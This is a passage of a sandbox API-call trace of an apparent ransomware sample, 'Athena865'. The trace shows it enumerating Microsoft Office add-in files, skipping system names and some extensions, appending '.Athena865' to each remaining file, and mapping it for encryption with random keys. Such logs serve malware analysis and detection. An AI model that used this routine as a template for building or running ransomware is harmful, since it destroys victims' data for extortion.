(lpString1="MSOSEC.XML", lpString2=".") returned 1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="..") returned 1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="windows") returned -1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="bootmgr") returned 1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="temp") returned -1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="pagefile.sys") returned -1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="boot") returned 1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="ids.txt") returned 1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="ntuser.dat") returned -1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="perflogs") returned -1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="MSBuild") returned 1 [0151.538] lstrlenW (lpString="MSOSEC.XML") returned 10 [0151.538] lstrcpyW (in: lpString1=0x241e8ac, lpString2="MSOSEC.XML" | out: lpString1="MSOSEC.XML") returned="MSOSEC.XML" [0151.538] lstrlenW (lpString="MSOSEC.XML") returned 10 [0151.539] lstrlenW (lpString="Athena865") returned 9 [0151.539] lstrcmpiW (lpString1="SOSEC.XML", lpString2="Athena865") returned 1 [0151.539] lstrlenW (lpString=".dll") returned 4 [0151.539] lstrcmpiW (lpString1="MSOSEC.XML", lpString2=".dll") returned 1 [0151.539] lstrlenW (lpString=".lnk") returned 4 [0151.539] lstrcmpiW (lpString1="MSOSEC.XML", lpString2=".lnk") returned 1 [0151.539] lstrlenW (lpString=".ini") returned 4 [0151.539] lstrcmpiW (lpString1="MSOSEC.XML", lpString2=".ini") returned 1 [0151.539] lstrlenW (lpString=".sys") returned 4 [0151.539] lstrcmpiW (lpString1="MSOSEC.XML", lpString2=".sys") returned 1 [0151.539] lstrlenW (lpString="MSOSEC.XML") returned 10 [0151.539] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.Athena865") returned 70 [0151.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.athena865"), dwFlags=0x1) returned 1 [0151.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.541] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=179) returned 1 [0151.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.542] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.542] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.542] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.542] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.543] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c0, lpName=0x0) returned 0x17c [0151.555] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c0) returned 0x100000 [0151.555] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.556] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.556] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.557] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.557] CloseHandle (hObject=0x17c) returned 1 [0151.557] CloseHandle (hObject=0x154) returned 1 [0151.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.557] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbea7100, ftCreationTime.dwHighDateTime=0x1bdf1f8, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdbea7100, ftLastWriteTime.dwHighDateTime=0x1bdf1f8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0151.557] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.557] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".") returned 1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="..") returned 1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="windows") returned -1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="bootmgr") returned 1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="temp") returned -1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="pagefile.sys") returned -1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="boot") returned 1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="ids.txt") returned 1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="ntuser.dat") returned -1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="perflogs") returned -1 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2="MSBuild") returned 1 [0151.558] lstrlenW (lpString="MSSPC.ECF") returned 9 [0151.558] lstrcpyW (in: lpString1=0x241e8ac, lpString2="MSSPC.ECF" | out: lpString1="MSSPC.ECF") returned="MSSPC.ECF" [0151.558] lstrlenW (lpString="MSSPC.ECF") returned 9 [0151.558] lstrlenW (lpString="Athena865") returned 9 [0151.558] lstrlenW (lpString=".dll") returned 4 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".dll") returned 1 [0151.558] lstrlenW (lpString=".lnk") returned 4 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".lnk") returned 1 [0151.558] lstrlenW (lpString=".ini") returned 4 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".ini") returned 1 [0151.558] lstrlenW (lpString=".sys") returned 4 [0151.558] lstrcmpiW (lpString1="MSSPC.ECF", lpString2=".sys") returned 1 [0151.558] lstrlenW (lpString="MSSPC.ECF") returned 9 [0151.558] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.Athena865") returned 69 [0151.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.athena865"), dwFlags=0x1) returned 1 [0151.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.560] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=778) returned 1 [0151.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.561] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.561] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.561] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.561] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x610, lpName=0x0) returned 0x17c [0151.563] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x610) returned 0x100000 [0151.563] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.564] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.564] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.565] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.565] CloseHandle (hObject=0x17c) returned 1 [0151.565] CloseHandle (hObject=0x154) returned 1 [0151.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.565] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.565] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8a70000, ftCreationTime.dwHighDateTime=0x1ca200c, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd8a70000, ftLastWriteTime.dwHighDateTime=0x1ca200c, nFileSizeHigh=0x0, nFileSizeLow=0x25348, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0151.565] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.565] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.565] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".") returned 1 [0151.565] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="..") returned 1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="windows") returned -1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="bootmgr") returned 1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="temp") returned -1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="pagefile.sys") returned -1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="boot") returned 1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="ids.txt") returned 1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="ntuser.dat") returned 1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="perflogs") returned -1 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2="MSBuild") returned 1 [0151.566] lstrlenW (lpString="otkloadr_x64.dll") returned 16 [0151.566] lstrcpyW (in: lpString1=0x241e8ac, lpString2="otkloadr_x64.dll" | out: lpString1="otkloadr_x64.dll") returned="otkloadr_x64.dll" [0151.566] lstrlenW (lpString="otkloadr_x64.dll") returned 16 [0151.566] lstrlenW (lpString="Athena865") returned 9 [0151.566] lstrcmpiW (lpString1="r_x64.dll", lpString2="Athena865") returned 1 [0151.566] lstrlenW (lpString=".dll") returned 4 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".dll") returned 1 [0151.566] lstrlenW (lpString=".lnk") returned 4 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".lnk") returned 1 [0151.566] lstrlenW (lpString=".ini") returned 4 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".ini") returned 1 [0151.566] lstrlenW (lpString=".sys") returned 4 [0151.566] lstrcmpiW (lpString1="otkloadr_x64.dll", lpString2=".sys") returned 1 [0151.566] lstrlenW (lpString="otkloadr_x64.dll") returned 16 [0151.566] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.Athena865") returned 76 [0151.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll.athena865"), dwFlags=0x1) returned 1 [0151.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.568] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=152392) returned 1 [0151.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.568] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.569] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.569] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.569] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25650, lpName=0x0) returned 0x17c [0151.571] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25650) returned 0x170000 [0151.579] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.579] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.579] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.580] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0151.581] CloseHandle (hObject=0x17c) returned 1 [0151.582] CloseHandle (hObject=0x154) returned 1 [0151.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.582] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6927e500, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6927e500, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0151.582] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.582] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".") returned 1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="..") returned 1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="windows") returned -1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="bootmgr") returned 1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="temp") returned -1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="pagefile.sys") returned -1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="boot") returned 1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="ids.txt") returned 1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="ntuser.dat") returned 1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="perflogs") returned -1 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2="MSBuild") returned 1 [0151.583] lstrlenW (lpString="OUTEX.ECF") returned 9 [0151.583] lstrcpyW (in: lpString1=0x241e8ac, lpString2="OUTEX.ECF" | out: lpString1="OUTEX.ECF") returned="OUTEX.ECF" [0151.583] lstrlenW (lpString="OUTEX.ECF") returned 9 [0151.583] lstrlenW (lpString="Athena865") returned 9 [0151.583] lstrlenW (lpString=".dll") returned 4 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".dll") returned 1 [0151.583] lstrlenW (lpString=".lnk") returned 4 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".lnk") returned 1 [0151.583] lstrlenW (lpString=".ini") returned 4 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".ini") returned 1 [0151.583] lstrlenW (lpString=".sys") returned 4 [0151.583] lstrcmpiW (lpString1="OUTEX.ECF", lpString2=".sys") returned 1 [0151.583] lstrlenW (lpString="OUTEX.ECF") returned 9 [0151.583] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.Athena865") returned 69 [0151.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.athena865"), dwFlags=0x1) returned 1 [0151.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.588] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1926) returned 1 [0151.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.588] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.588] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.589] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.589] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.589] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa90, lpName=0x0) returned 0x17c [0151.591] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa90) returned 0x100000 [0151.592] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.592] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.592] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.593] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.593] CloseHandle (hObject=0x17c) returned 1 [0151.593] CloseHandle (hObject=0x154) returned 1 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.594] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704ef300, ftCreationTime.dwHighDateTime=0x1c8597f, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x704ef300, ftLastWriteTime.dwHighDateTime=0x1c8597f, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2=".") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="..") returned 1 [0151.594] lstrcmpiW (lpString1="OUTEX2.ECF", lpString2="windows") returned -1 